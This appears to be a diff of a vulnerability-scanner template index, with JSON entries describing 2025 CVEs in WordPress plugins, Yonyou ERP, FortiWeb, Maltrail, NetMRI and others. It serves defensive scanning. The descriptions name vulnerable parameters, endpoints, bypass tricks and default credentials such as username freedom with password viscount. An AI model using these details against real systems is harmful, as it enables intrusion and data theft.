 {"ID":"CVE-2025-1323","Info":{"Name":"WP-Recall – Plugin \u003c= 16.26.10 - Unauthenticated SQL Injection","Severity":"high","Description":"The WP-Recall – Registration, Profile, Commerce \u0026 More plugin for WordPress is vulnerable to SQL Injection via the 'databeat' parameter in all versions up to, and including, 16.26.10 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.  This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2025/CVE-2025-1323.yaml"}
+{"ID":"CVE-2025-1595","Info":{"Name":"EasyCVR \u003c=2.1.2 - Information Disclosure","Severity":"medium","Description":"A vulnerability has been found in Anhui Xufan Information Technology EasyCVR up to 2.7.0 and classified as problematic. This vulnerability affects unknown code of the file /api/v1/getbaseconfig. The manipulation leads to information disclosure. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2025/CVE-2025-1595.yaml"}
 {"ID":"CVE-2025-1661","Info":{"Name":"HUSKY – Products Filter Professional for WooCommerce \u003c= 1.3.6.5 - Unauthenticated Local File Inclusion","Severity":"critical","Description":"The HUSKY – Products Filter Professional for WooCommerce plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 1.3.6.5 via the 'template' parameter of the woof_text_search AJAX action. This makes it possible for unauthenticated attackers to include and execute arbitrary files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where images and other “safe” file types can be uploaded and included.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-1661.yaml"}
 {"ID":"CVE-2025-1743","Info":{"Name":"Pichome 2.1.0 - Arbitrary File Read","Severity":"high","Description":"A vulnerability, which was classified as critical, was found in zyx0814 Pichome 2.1.0. This affects an unknown part of the file /index.php?mod=textviewer. The manipulation of the argument src leads to path traversal. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2025/CVE-2025-1743.yaml"}
 {"ID":"CVE-2025-1974","Info":{"Name":"Ingress-Nginx Controller - Remote Code Execution","Severity":"critical","Description":"A security issue was discovered in Kubernetes where under certain conditions, an unauthenticated attacker with access to the pod network can achieve arbitrary code execution in the context of the ingress-nginx controller. This can lead to disclosure of Secrets accessible to the controller. (Note that in the default installation, the controller can access all Secrets cluster-wide.)\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-1974.yaml"}
@@ -3050,6 +3064,7 @@
 {"ID":"CVE-2025-24813","Info":{"Name":"Apache Tomcat Path Equivalence - Remote Code Execution","Severity":"critical","Description":"Path Equivalence- 'file.Name' (Internal Dot) leading to Remote Code Execution and/or Information disclosure and/or malicious content added to uploaded files via write enabled Default Servlet in Apache Tomcat.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-24813.yaml"}
 {"ID":"CVE-2025-24893","Info":{"Name":"XWiki Platform - Remote Code Execution","Severity":"critical","Description":"Any guest can perform arbitrary remote code execution through a request to SolrSearch. This impacts the confidentiality, integrity, and availability of the whole XWiki installation. This vulnerability has been patched in XWiki 15.10.11, 16.4.1, and 16.5.0RC1.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-24893.yaml"}
 {"ID":"CVE-2025-24963","Info":{"Name":"Vitest Browser Mode - Local File Read","Severity":"medium","Description":"Vitest is a testing framework powered by Vite. The `__screenshot-error` handler on the browser mode HTTP server that responds any file on the file system. Especially if the server is exposed on the network by `browser.api.host- true`, an attacker can send a request to that handler from remote to get the content of arbitrary files.This `__screenshot-error` handler on the browser mode HTTP server responds any file on the file system. This code was added by commit `2d62051`. Users explicitly exposing the browser mode server to the network by `browser.api.host- true` may get any files exposed. This issue has been addressed in versions 2.1.9 and 3.0.4. Users are advised to upgrade. There are no known workarounds for this vulnerability.\n","Classification":{"CVSSScore":"5.9"}},"file_path":"http/cves/2025/CVE-2025-24963.yaml"}
+{"ID":"CVE-2025-25257","Info":{"Name":"Fortinet FortiWeb - SQL Injection","Severity":"critical","Description":"An improper neutralization of special elements used in an SQL command ('SQL Injection') vulnerability [CWE-89] in FortiWeb may allow an unauthenticated attacker to execute unauthorized SQL code or commands via crafted HTTP or HTTPS requests.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-25257.yaml"}
 {"ID":"CVE-2025-2539","Info":{"Name":"File Away \u003c= 3.9.9.0.1 - Missing Authorization to Unauthenticated Arbitrary File Read","Severity":"high","Description":"The File Away plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on the ajax() function in all versions up to, and including, 3.9.9.0.1. This makes it possible for unauthenticated attackers, leveraging the use of a reversible weak algorithm,  to read the contents of arbitrary files on the server, which can contain sensitive information.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2025/CVE-2025-2539.yaml"}
 {"ID":"CVE-2025-2563","Info":{"Name":"User Registration \u0026 Membership \u003c= 4.1.1 - Unauthenticated Privilege Escalation","Severity":"critical","Description":"The User Registration \u0026 Membership plugin for WordPress is vulnerable to privilege escalation in versions up to, and including, 4.1.1. This is due to insufficient restrictions on role type in the 'prepare_members_data()' function. This makes it possible for unauthenticated attackers to create newuser accounts with the 'administrator' role, allowing complete control over the affected WordPress site.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-2563.yaml"}
 {"ID":"CVE-2025-2609","Info":{"Name":"MagnusBilling Login Logs - Cross-Site Scripting","Severity":"high","Description":"Improper neutralization of input during web page generation vulnerability in MagnusSolution MagnusBilling login logging allows unauthenticated users to store HTML content in the viewable log component accessible at /mbilling/index.php/logUsers/read\" cross-site scripting This vulnerability is associated with program files protected/components/MagnusLog.Php.This issue affects MagnusBilling- through 7.3.0.\n","Classification":{"CVSSScore":"8.2"}},"file_path":"http/cves/2025/CVE-2025-2609.yaml"}
@@ -3058,16 +3073,23 @@
 {"ID":"CVE-2025-2636","Info":{"Name":"InstaWP Connect \u003c 0.1.0.86 - Local PHP File Inclusion","Severity":"high","Description":"The InstaWP Connect - 1-click WP Staging \u0026 Migration plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 0.1.0.85 via the 'instawp-database-manager' parameter. This makes it possible for unauthenticated attackers to include and execute arbitrary files on the server, allowing the execution of any PHP code in those files.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-2636.yaml"}
 {"ID":"CVE-2025-26793","Info":{"Name":"FREEDOM Administration - Default Login","Severity":"critical","Description":"The Web GUI configuration panel of Hirsch (formerly Identiv and Viscount) Enterphone MESH through 2024 ships with default credentials (username freedom, password viscount). The administrator is not prompted to change these credentials on initial configuration, and changing the credentials requires many steps. Attackers can use the credentials over the Internet via mesh.webadmin.MESHAdminServlet to gain access to dozens of Canadian and U.S. apartment buildings and obtain building residents' PII. NOTE- the Supplier's perspective is that the \"vulnerable systems are not following manufacturers' recommendations to change the default password.\"\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-26793.yaml"}
 {"ID":"CVE-2025-27007","Info":{"Name":"OttoKit \u003c 1.0.83 - SureTriggers allows Privilege Escalation","Severity":"critical","Description":"Incorrect Privilege Assignment vulnerability in Brainstorm Force SureTriggers allows Privilege Escalation.This issue affects SureTriggers- from n/a through 1.0.82.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-27007.yaml"}
+{"ID":"CVE-2025-2709","Info":{"Name":"Yonyou UFIDA ERP-NC V5.0 - Cross-Site Scripting","Severity":"medium","Description":"Yonyou UFIDA ERP-NC V5.0 is vulnerable to reflected cross-site scripting (XSS) via the key and redirect parameters in login.jsp. Unsanitized user input is reflected in the response, allowing arbitrary JavaScript execution.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2025/CVE-2025-2709.yaml"}
+{"ID":"CVE-2025-2710","Info":{"Name":"Yonyou UFIDA ERP-NC V5.0 - Cross-Site Scripting","Severity":"medium","Description":"Yonyou UFIDA ERP-NC V5.0 is vulnerable to reflected cross-site scripting (XSS) via the flag parameter in menu.jsp. Unsanitized user input is reflected in the response, allowing arbitrary JavaScript execution.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2025/CVE-2025-2710.yaml"}
+{"ID":"CVE-2025-2711","Info":{"Name":"Yonyou UFIDA ERP-NC V5.0 - Cross-Site Scripting","Severity":"medium","Description":"Yonyou UFIDA ERP-NC V5.0 is vulnerable to reflected cross-site scripting (XSS) via the langcode parameter in /help/systop.jsp and /help/top.jsp. Unsanitized user input is reflected in the response, allowing arbitrary JavaScript execution.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2025/CVE-2025-2711.yaml"}
 {"ID":"CVE-2025-27112","Info":{"Name":"Navidrome \u003c=0.54.5 -  Authentication Bypass in Subsonic API","Severity":"medium","Description":"Navidrome is an open source web-based music collection server and streamer. Starting in version 0.52.0 and prior to version 0.54.5, in certain Subsonic API endpoints, a flaw in the authentication check process allows an attacker to specify any arbitrary username that does not exist on the system, along with a salted hash of an empty password. Under these conditions, Navidrome treats the request as authenticated, granting access to various Subsonic endpoints without requiring valid credentials. An attacker can use any non-existent username to bypass the authentication system and gain access to various read-only data in Navidrome, such as user playlists. However, any attempt to modify data fails with a \"permission denied\" error due to insufficient permissions, limiting the impact to unauthorized viewing of information. Version 0.54.5 contains a patch for this issue.\n","Classification":{"CVSSScore":"6.5"}},"file_path":"http/cves/2025/CVE-2025-27112.yaml"}
+{"ID":"CVE-2025-2712","Info":{"Name":"Yonyou UFIDA ERP-NC V5.0 - Cross-Site Scripting","Severity":"medium","Description":"Yonyou UFIDA ERP-NC V5.0 is vulnerable to reflected cross-site scripting (XSS) via the langcode parameter in /help/systop.jsp and /help/top.jsp. Unsanitized user input is reflected in the response, allowing arbitrary JavaScript execution.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2025/CVE-2025-2712.yaml"}
 {"ID":"CVE-2025-27134","Info":{"Name":"Joplin 3.3.3 Server - Privilege Escalation","Severity":"high","Description":"Joplin is a free, open source note taking and to-do application, which can handle a large number of notes organised into notebooks. Prior to version 3.3.3, a privilege escalation vulnerability exists in the Joplin server, allowing non-admin users to exploit the API endpoint `PATCH /api/users/-id` to set the `is_admin` field to 1. The vulnerability allows malicious low-privileged users to perform administrative actions without proper authorization. This issue has been patched in version 3.3.3.\n","Classification":{"CVSSScore":"8.8"}},"file_path":"http/cves/2025/CVE-2025-27134.yaml"}
 {"ID":"CVE-2025-27218","Info":{"Name":"Sitecore Experience Manager (XM)/Experience Platform (XP) 10.4 - Insecure Deserialization","Severity":"medium","Description":"Sitecore Experience Manager (XM) and Experience Platform (XP) 10.4 before KB1002844 allow remote code execution through insecure deserialization.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2025/CVE-2025-27218.yaml"}
 {"ID":"CVE-2025-2748","Info":{"Name":"Kentico Xperience CMS - Unauthenticated Stored XSS","Severity":"medium","Description":"The Kentico Xperience application does not fully validate or filter files uploaded via the multiple-file upload functionality, which allows for stored XSS.This issue affects Kentico Xperience through 13.0.178.\n","Classification":{"CVSSScore":"6.5"}},"file_path":"http/cves/2025/CVE-2025-2748.yaml"}
+{"ID":"CVE-2025-27505","Info":{"Name":"GeoServer - Missing Authorization on REST API Index","Severity":"medium","Description":"GeoServer contains a missing authorization vulnerability that allows unauthorized access to the REST API Index page, potentially exposing sensitive configuration information.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2025/CVE-2025-27505.yaml"}
 {"ID":"CVE-2025-2775","Info":{"Name":"SysAid On-Prem \u003c= 23.3.40 - XML External Entity","Severity":"critical","Description":"SysAid On-Prem versions \u003c= 23.3.40 are vulnerable to an unauthenticated XML External Entity (XXE) vulnerability in the Checkin processing functionality, allowing for administrator account takeover and file read primitives.\n","Classification":{"CVSSScore":"9.3"}},"file_path":"http/cves/2025/CVE-2025-2775.yaml"}
 {"ID":"CVE-2025-2776","Info":{"Name":"SysAid On-Prem \u003c= 23.3.40 - XML External Entity","Severity":"critical","Description":"SysAid On-Prem versions \u003c= 23.3.40 are vulnerable to an unauthenticated XML External Entity (XXE) vulnerability in the Server URL processing functionality, allowing for administrator account takeover and file read primitives.\n","Classification":{"CVSSScore":"9.3"}},"file_path":"http/cves/2025/CVE-2025-2776.yaml"}
 {"ID":"CVE-2025-2777","Info":{"Name":"SysAid On-Prem \u003c= 23.3.40 - XML External Entity","Severity":"critical","Description":"SysAid On-Prem versions \u003c= 23.3.40 are vulnerable to an unauthenticated XML External Entity (XXE) vulnerability in the lshw processing functionality, allowing for administrator account takeover and file read primitives.\n","Classification":{"CVSSScore":"9.3"}},"file_path":"http/cves/2025/CVE-2025-2777.yaml"}
+{"ID":"CVE-2025-27888","Info":{"Name":"Apache Druid - Server-Side Request Forgery","Severity":"high","Description":"Server-Side Request Forgery (SSRF), Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), URL Redirection to Untrusted Site ('Open Redirect') vulnerability in Apache Druid.This issue affects all previous Druid versions.When using the Druid management proxy, a request that has a specially crafted URL could be used to redirect the request to an arbitrary server instead. This has the potential for XSS or XSRF. The user is required to be authenticated for this exploit. The management proxy is enabled in Druid's out-of-box configuration. It may be disabled to mitigate this vulnerability. If the management proxy is disabled, some web console features will not work properly, but core functionality is unaffected.Users are recommended to upgrade to Druid 31.0.2 or Druid 32.0.1, which fixes the issue.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-27888.yaml"}
 {"ID":"CVE-2025-27892","Info":{"Name":"Shopware \u003c 6.5.8.13 - SQL Injection","Severity":"critical","Description":"The Shopware application API contains a search functionality which enables users to search through information stored within their Shopware instance. The searches performed by this function can be aggregated using the parameters in the \"aggregations\" object. The name field in this \"aggregations\" in nested object is vulnerable SQL-injection and can be exploited using SQL parameters.\n","Classification":{"CVSSScore":"6.8"}},"file_path":"http/cves/2025/CVE-2025-27892.yaml"}
 {"ID":"CVE-2025-28228","Info":{"Name":"Electrolink FM/DAB/TV Transmitter - Credentials Disclosure","Severity":"high","Description":"A credential exposure vulnerability in Electrolink 500W, 1kW, 2kW Medium DAB Transmitter Web v01.09, v01.08, v01.07, and Display v1.4, v1.2 allows unauthorized attackers to access credentials in plaintext.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2025/CVE-2025-28228.yaml"}
 {"ID":"CVE-2025-28367","Info":{"Name":"mojoPortal \u003c=2.9.0.1 - Directory Traversal","Severity":"medium","Description":"mojoPortal \u003c=2.9.0.1 is vulnerable to Directory Traversal via BetterImageGallery API Controller - ImageHandler Action. An attacker can exploit this vulnerability to access the Web.Config file and obtain the MachineKey.\n","Classification":{"CVSSScore":"6.5"}},"file_path":"http/cves/2025/CVE-2025-28367.yaml"}
+{"ID":"CVE-2025-28906","Info":{"Name":"Skitter Slideshow \u003c= 2.5.2 - Authenticated (Administrator+) Stored Cross-Site Scripting","Severity":"medium","Description":"The Skitter Slideshow plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 2.5.2 due to insufficient input sanitization and output escaping.\n","Classification":{"CVSSScore":"5.9"}},"file_path":"http/cves/2025/CVE-2025-28906.yaml"}
 {"ID":"CVE-2025-2907","Info":{"Name":"Order Delivery Date Pro for WooCommerce \u003c 12.3.1 - Arbitrary Option Update","Severity":"critical","Description":"The Order Delivery Date WordPress plugin before 12.3.1 does not have authorization and CSRF checks when importing settings. Furthermore it also lacks proper checks to only update options relevant to the Order Delivery Date WordPress plugin before 12.3.1. This leads to attackers being able to modify the default_user_role to administrator and users_can_register, allowing them to register as an administrator of the site for complete site takeover.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-2907.yaml"}
 {"ID":"CVE-2025-29085","Info":{"Name":"Vipshop Saturn Console \u003c= 3.5.1 - SQL Injection via ClusterKey Component","Severity":"critical","Description":"SQL injection vulnerability in vipshop Saturn v.3.5.1 and before allows a remote attacker to execute arbitrary code via /console/dashboard/executorCount?zkClusterKey component.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-29085.yaml"}
 {"ID":"CVE-2025-29306","Info":{"Name":"FoxCMS v.1.2.5 - Remote Code Execution","Severity":"critical","Description":"An issue in FoxCMS v.1.2.5 allows a remote attacker to execute arbitrary code via the case display page in the index.html component.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-29306.yaml"}
@@ -3083,27 +3105,38 @@
 {"ID":"CVE-2025-31324","Info":{"Name":"SAP NetWeaver Visual Composer Metadata Uploader - Deserialization","Severity":"critical","Description":"SAP NetWeaver Visual Composer Metadata Uploader is not protected with a proper authorization, allowing unauthenticated agent to upload potentially malicious executable binaries that could severely harm the host system. This could significantly affect the confidentiality, integrity, and availability of the targeted system.\n","Classification":{"CVSSScore":"10"}},"file_path":"http/cves/2025/CVE-2025-31324.yaml"}
 {"ID":"CVE-2025-31489","Info":{"Name":"MinIO - Incomplete Signature Validation for Unsigned-Trailer Uploads","Severity":"high","Description":"MinIO is a High Performance Object Storage released under GNU Affero General Public License v3.0. The signature component of the authorization may be invalid, which would mean that as a client you can use any arbitrary secret to upload objects given the user already has prior WRITE permissions on the bucket. Prior knowledge of access-key, and bucket name this user might have access\nto - and an access-key with a WRITE permissions is necessary. However with relevant information in place, uploading random objects to buckets is trivial and easy via curl.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-31489.yaml"}
 {"ID":"CVE-2025-32101","Info":{"Name":"UNA CMS \u003c= 14.0.0-RC4 - PHP Object Injection","Severity":"critical","Description":"The vulnerability is located in the /template/scripts/BxBaseMenuSetAclLevel.php script. Specifically, within the BxBaseMenuSetAclLevel::getCode() method. When calling this method, user input passed through the \"profile_id\" POST parameter is not properly sanitized before being used in a call to the unserialize() PHP function. This can be exploited by remote, unauthenticated attackers to inject arbitrary PHP objects into the application scope, allowing them to perform a variety of attacks, such as writing and executing arbitrary PHP code.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-32101.yaml"}
+{"ID":"CVE-2025-32430","Info":{"Name":"XWiki Platform - Cross-Site Scripting","Severity":"medium","Description":"XWiki Platform versions \u003e= 4.2-milestone-3 and \u003c 16.4.8, \u003e= 16.5.0-rc-1 and \u003c 16.10.6, and \u003e= 17.0.0-rc-1 and \u003c 17.3.0-rc-1 are vulnerable to reflected XSS in two templates. The vulnerability allows an attacker to execute malicious JavaScript code in the context of the victim's session by getting the victim to visit an attacker-controlled URL.\n","Classification":{"CVSSScore":"6.5"}},"file_path":"http/cves/2025/CVE-2025-32430.yaml"}
 {"ID":"CVE-2025-32432","Info":{"Name":"CraftCMS - Remote Code Execution","Severity":"critical","Description":"Craft is a flexible, user-friendly CMS for creating custom digital experiences on the web and beyond. Starting from version 3.0.0-RC1 to before 3.9.15, 4.0.0-RC1 to before 4.14.15, and 5.0.0-RC1 to before 5.6.17, Craft is vulnerable to remote code execution. This is a high-impact, low-complexity attack vector.\n","Classification":{"CVSSScore":"10"}},"file_path":"http/cves/2025/CVE-2025-32432.yaml"}
 {"ID":"CVE-2025-3248","Info":{"Name":"Langflow AI - Unauthenticated Remote Code Execution","Severity":"critical","Description":"Langflow versions prior to 1.3.0 are susceptible to code injection in the /api/v1/validate/code endpoint.A remote and unauthenticated attacker can send crafted HTTP requests to execute arbitrary code.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-3248.yaml"}
 {"ID":"CVE-2025-32813","Info":{"Name":"Infoblox NetMRI \u003c 7.6.1 - Unauthenticated Command Injection in get_saml_request","Severity":"high","Description":"An issue was discovered in Infoblox NETMRI before 7.6.1. Remote Unauthenticated Command Injection can occur.\n","Classification":{"CVSSScore":"7.2"}},"file_path":"http/cves/2025/CVE-2025-32813.yaml"}
 {"ID":"CVE-2025-32814","Info":{"Name":"NetMRI Unauthenticated SQL Injection via skipjackUsername","Severity":"critical","Description":"An issue was discovered in Infoblox NETMRI before 7.6.1. Unauthenticated SQL Injection can occur.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-32814.yaml"}
+{"ID":"CVE-2025-32815","Info":{"Name":"NetMRI \u003c 7.6.1 - Authentication Bypass via Hardcoded Credentials","Severity":"medium","Description":"An issue was discovered in Infoblox NETMRI before 7.6.1. Authentication Bypass via a Hardcoded credential can occur.\n","Classification":{"CVSSScore":"6.5"}},"file_path":"http/cves/2025/CVE-2025-32815.yaml"}
 {"ID":"CVE-2025-34026","Info":{"Name":"Versa Concerto Actuator Endpoint - Authentication Bypass","Severity":"critical","Description":"An authentication bypass vulnerability affected the Spring Boot Actuator endpoints in Versa Concerto due to improper handling of the X-Real-Ip header.Attackers could access restricted endpoints by omitting this header.The issue allowed unauthorized access to sensitive functionality, highlighting the need for proper header validation.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-34026.yaml"}
 {"ID":"CVE-2025-34027","Info":{"Name":"Versa Concerto API Path Based - Authentication Bypass","Severity":"critical","Description":"Authentication bypass in the Versa Concerto API, caused by URL decoding inconsistencies. It allowed unauthorized access to certain API endpoints by manipulating the URL path.This issue enabled attackers to bypass authentication controls and access restricted resources.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-34027.yaml"}
 {"ID":"CVE-2025-34028","Info":{"Name":"Commvault - SSRF via /commandcenter/deployWebpackage.do","Severity":"critical","Description":"A path traversal vulnerability in Commvault Command Center Innovation Release allows an unauthenticated actor to upload ZIP files, which, when expanded by the target server, result in Remote Code Execution. This issue affects Command Center Innovation Release: 11.38.\n","Classification":{"CVSSScore":"10"}},"file_path":"http/cves/2025/CVE-2025-34028.yaml"}
 {"ID":"CVE-2025-34031","Info":{"Name":"Moodle Jmol Filter 6.1 - Local File Inclusion","Severity":"high","Description":"Moodle Jmol Filter 6.1 is vulnerable to local file inclusion through the jsmol.php file, allowing attackers to read arbitrary files on the server.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2025/CVE-2025-34031.yaml"}
 {"ID":"CVE-2025-34032","Info":{"Name":"Moodle LMS Jmol Plugin \u003c= 6.1 - Cross-Site Scripting","Severity":"medium","Description":"A reflected cross-site scripting (XSS) vulnerability exists in the Moodle LMS Jmol plugin version 6.1 and prior via the data parameter in jsmol.php. The application fails to properly sanitize user input before embedding it into the HTTP response, allowing an attacker to execute arbitrary JavaScript in the victim's browser by crafting a malicious link. This can be used to hijack user sessions or manipulate page content.\n","Classification":{"CVSSScore":"5.4"}},"file_path":"http/cves/2025/CVE-2025-34032.yaml"}
 {"ID":"CVE-2025-34040","Info":{"Name":"Zhiyuan OA Platform - Arbitrary File Upload","Severity":"critical","Description":"An arbitrary file upload vulnerability exists in the Zhiyuan OA platform 5.0, 5.1 - 5.6sp1, 6.0 - 6.1sp2, 7.0, 7.0sp1 - 7.1, 7.1sp1, and 8.0 - 8.0sp2 via the wpsAssistServlet interface. The realFileType and fileId parameters are improperly validated during multipart file uploads, allowing unauthenticated attackers to upload crafted JSP files outside of intended directories using path traversal. Successful exploitation enables remote code execution as the uploaded file can be accessed and executed through the web server.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-34040.yaml"}
+{"ID":"CVE-2025-34073","Info":{"Name":"Maltrail \u003c=0.54 Username Parameter -  Remote Command Execution","Severity":"critical","Description":"Maltrail versions \u003c=0.54. A remote attacker can execute arbitrary operating system commands via the username parameter in a POST request to the /login endpoint.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-34073.yaml"}
+{"ID":"CVE-2025-34077","Info":{"Name":"WordPress Pie Register \u003c= 3.7.1.4 - Authentication Bypass","Severity":"critical","Description":"An authentication bypass vulnerability exists in the WordPress Pie Register plugin ≤ 3.7.1.4 that allows unauthenticated attackers to impersonate arbitrary users by submitting a crafted POST request to the login endpoint. By setting social_site=true and manipulating the user_id_social_site parameter, an attacker can generate a valid WordPress session cookie for any user ID, including administrators.Once authenticated, the attacker may exploit plugin upload functionality to install a malicious plugin containing arbitrary PHP code, resulting in remote code execution on the underlying server.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-34077.yaml"}
+{"ID":"CVE-2025-34085","Info":{"Name":"WordPress Simple File List \u003c=4.2.2 - Remote Code Execution","Severity":"critical","Description":"An unrestricted file upload vulnerability in the WordPress Simple File List plugin before version 4.2.3 allows unauthenticated remote attackers to achieve remote code execution. The plugin's upload endpoint (ee-upload-engine.php) restricts file uploads based on extension, but lacks proper validation after file renaming. An attacker can first upload a PHP payload disguised as a .png file, then use the plugin’s ee-file-engine.php rename functionality to change the extension to .php. This bypasses upload restrictions and results in the uploaded payload being executable on the server.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-34085.yaml"}
+{"ID":"CVE-2025-34141","Info":{"Name":"ETQ Reliance - Reflected XSS via SQLConverterServlet","Severity":"medium","Description":"A reflected cross-site scripting (XSS) vulnerability exists in ETQ Reliance CG (legacy) platform within the SQLConverterServlet component. This vulnerability requires user interaction, such as clicking a crafted link, and may result in execution of unauthorized scripts in the user's context. The affected servlet was unnecessarily exposed to authenticated users and has since been disabled in version SE.2025.1.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2025/CVE-2025-34141.yaml"}
+{"ID":"CVE-2025-34143","Info":{"Name":"ETQ Reliance - Authentication Bypass via Trailing Space","Severity":"critical","Description":"An authentication bypass vulnerability exists in ETQ Reliance on the CG (legacy) platform. The application allowed login as the privileged internal SYSTEM user by manipulating the username field. The SYSTEM account does not require a password, enabling attackers with network access to the login page to obtain elevated access. Once authenticated, an attacker could achieve remote code execution by modifying Jython scripts within the application. This issue was resolved by introducing stricter validation logic to exclude internal accounts from public authentication workflows in version MP-4583.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-34143.yaml"}
 {"ID":"CVE-2025-3415","Info":{"Name":"Grafana - Exposes DingDing API Keys","Severity":"medium","Description":"An incident occurred where the DingDing alerting integration URL was inadvertently exposed to viewers due to a setting oversight in versions below or equals to 12.0.1.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-3415.yaml"}
+{"ID":"CVE-2025-34300","Info":{"Name":"SawtoothSoftware Lighthouse Studio \u003c 9.16.14 - Pre-Auth Remote Code Execution","Severity":"critical","Description":"A pre-authentication remote code execution vulnerability exists in Sawtooth Software’s Lighthouse Studio versions prior to 9.16.14. The issue arises from the unsafe use of the `eval` function within the Perl CGI component `ciwweb.pl`, where attacker-supplied input inside `hid_Random_ACARAT` is directly passed to `eval`. This allows remote unauthenticated attackers to execute arbitrary Perl code on the server.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-34300.yaml"}
 {"ID":"CVE-2025-4008","Info":{"Name":"MeteoBridge \u003c= 6.1 - Remote Code Execution","Severity":"high","Description":"The Meteobridge web interface let meteobridge administrator manage their weather station data collection and administer their meteobridge system through a web application written in CGI shell scripts and C.This web interface exposes an endpoint that is vulnerable to command injection.Remote unauthenticated attackers can gain arbitrary command execution with elevated privileges ( root ) on affected devices.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2025/CVE-2025-4008.yaml"}
 {"ID":"CVE-2025-4009","Info":{"Name":"Evertz SDVN 3080ipx-10G - Unauthenticated Arbitrary Command Injection","Severity":"critical","Description":"The Evertz SDVN 3080ipx-10G is a High Bandwidth Ethernet Switching Fabric for Video Application. This device exposes a web management interface on port 80. This web management interface can be used by administrators to control product features, setup network switching, and register license among other features. The application has been developed in PHP with the webEASY SDK, also named ‘ewb’ by Evertz.This web interface has two endpoints that are vulnerable to arbitrary command injection and the authentication mechanism has a flaw leading to authentication bypass.Remote unauthenticated attackers can gain arbitrary command execution with elevated privileges ( root ) on affected devices.This level of access could lead to serious business impact such as the interruption of media streaming, modification of media being streamed, alteration of closed captions being generated, among others.\n","Classification":{"CVSSScore":"9.3"}},"file_path":"http/cves/2025/CVE-2025-4009.yaml"}
+{"ID":"CVE-2025-40630","Info":{"Name":"IceWarp Mail Server ≤11.4.0 - Open Redirect","Severity":"medium","Description":"IceWarp Mail Server version 11.4.0 and below contains an open redirect vulnerability that allows attackers to redirect users to arbitrary external domains through malicious URLs.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2025/CVE-2025-40630.yaml"}
 {"ID":"CVE-2025-4123","Info":{"Name":"Grafana - XSS / Open Redirect / SSRF via Client Path Traversal","Severity":"high","Description":"An open redirect vulnerability in Grafana can be chained with other issues, such as XSS or SSRF, to increase impact. An attacker may exploit the redirect to target internal services or deliver malicious JavaScript, potentially leading to internal data exposure or account takeover.\n","Classification":{"CVSSScore":"7.6"}},"file_path":"http/cves/2025/CVE-2025-4123.yaml"}
 {"ID":"CVE-2025-41393","Info":{"Name":"Ricoh Web Image Monitor - Reflected XSS","Severity":"medium","Description":"A reflected cross-site scripting vulnerability exists in the laser printers and MFPs (multifunction printers) which implement Ricoh Web Image Monitor. If exploited, an arbitrary script may be executed on the web browser of the user who accessed Web Image Monitor.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2025/CVE-2025-41393.yaml"}
